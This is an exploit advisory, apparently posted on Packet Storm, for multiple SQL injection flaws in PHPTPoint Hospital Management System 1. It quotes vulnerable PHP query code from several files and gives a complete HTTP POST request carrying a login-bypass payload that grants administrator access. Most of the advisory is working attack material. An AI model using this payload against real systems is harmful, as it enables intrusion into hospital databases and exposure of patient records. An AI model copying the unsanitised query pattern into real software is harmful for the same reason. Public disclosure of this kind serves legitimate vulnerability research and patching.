Twenty Year Anniversary

PHPTPoint Hospital Management System 1 SQL Injection

PHPTPoint Hospital Management System 1 SQL Injection
Posted Oct 24, 2018
Authored by Boumediene Kaddour

PHPTPoint Hospital Management System version 1 suffers from remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, sql injection
advisories | CVE-2018-18705
MD5 | 21487e5413eadd6846a0ca329be0ce54

PHPTPoint Hospital Management System 1 SQL Injection

Change Mirror Download
# Exploit Title:  phptpoint hospital management system Multiple SQL
injection
# Date: 10/24/2018
# Exploit Author: Boumediene KADDOUR
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.phptpoint.com/
# Software Link: https://www.phptpoint.com/hospital-management-system/
# Version: 1
# Tested on: WAMP windows 10 x64
# CVE: unknown

Description:
Phptpoint hospital management system suffers from multiple SQL injection
vulnerabilities that allow an attacker to bypass the login page and
authenticate with admin, and then easily get database information or
execute arbitrary commands.

----------------------------------------------------
LOGIN.php SQL injection
----------------------------------------------------
13 extract($_POST);
14 if(isset($signIn))
15 {
16 //echo $user,$pass;
17 //for Admin
18 $que=mysql_query("select user,pass from admin where
user='$user' and pass='$pass'");
19 $row= mysql_num_rows($que);
20 echo "raw ".$row;
21 if($row)
22 {
23 $_SESSION['admin'] =$user;
24 echo "<script>window.location='alist.php'</script>";

----------------------------------------------------
Payload:
----------------------------------------------------
POST /hospital/index.php HTTP/1.1
Host: 172.16.122.4
Content-Length: 38
Cache-Control: max-age=0
Origin: http://172.16.122.4
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://172.16.122.4/hospital/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,fr;q=0.8,fr-FR;q=0.7
Cookie: PHPSESSID=2kn5jlcarggk5u3bl1crarrj85
Connection: close

user=admin%40gmail.com'+OR+1--+&pass=anything&signIn=


----------------------------------------------------
ALIST.php SQLi
----------------------------------------------------
33 $todel=$_GET['rno'];
34 mysql_query("update appt SET ashow='N' where ano='$todel' ;");
35 }


----------------------------------------------------
DUNDEL.php SQLi
----------------------------------------------------
21 $rno=$_GET["rno"];
22 mysql_query("update doct set dshow='Y' where dno='$rno'");
23 echo "<tr><td align=center><font size=4 color=green>SuccessfullyRecords
Recovered</font></td></tr>";
24 echo "<tr><td align=center><a href=dlist.php>Continue...</a></td></tr>";


----------------------------------------------------
PDEL.php SQLi
----------------------------------------------------
25 $todel=$_GET['rno'];
26 mysql_query("update Patient SET pshow='N' where pno='$todel' ;");


----------------------------------------------------
PUNDEL.php SQLi
----------------------------------------------------
20 $rno=$_GET["rno"];
21
22
23 mysql_query("update Patient set pshow='Y' where pno='$rno'");
24 echo "<tr><td align=center><font size=4 color=green>SuccessfullyRecords
Recovered</font></td></tr>";
25 echo "<tr><td align=center><a href=plist.php>Continue...</a></td></tr>";


Regards
Boumediene KADDOUR - OSCP, OSWP

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    1 Files
  • 3
    Dec 3rd
    18 Files
  • 4
    Dec 4th
    40 Files
  • 5
    Dec 5th
    16 Files
  • 6
    Dec 6th
    50 Files
  • 7
    Dec 7th
    12 Files
  • 8
    Dec 8th
    1 Files
  • 9
    Dec 9th
    1 Files
  • 10
    Dec 10th
    15 Files
  • 11
    Dec 11th
    30 Files
  • 12
    Dec 12th
    25 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close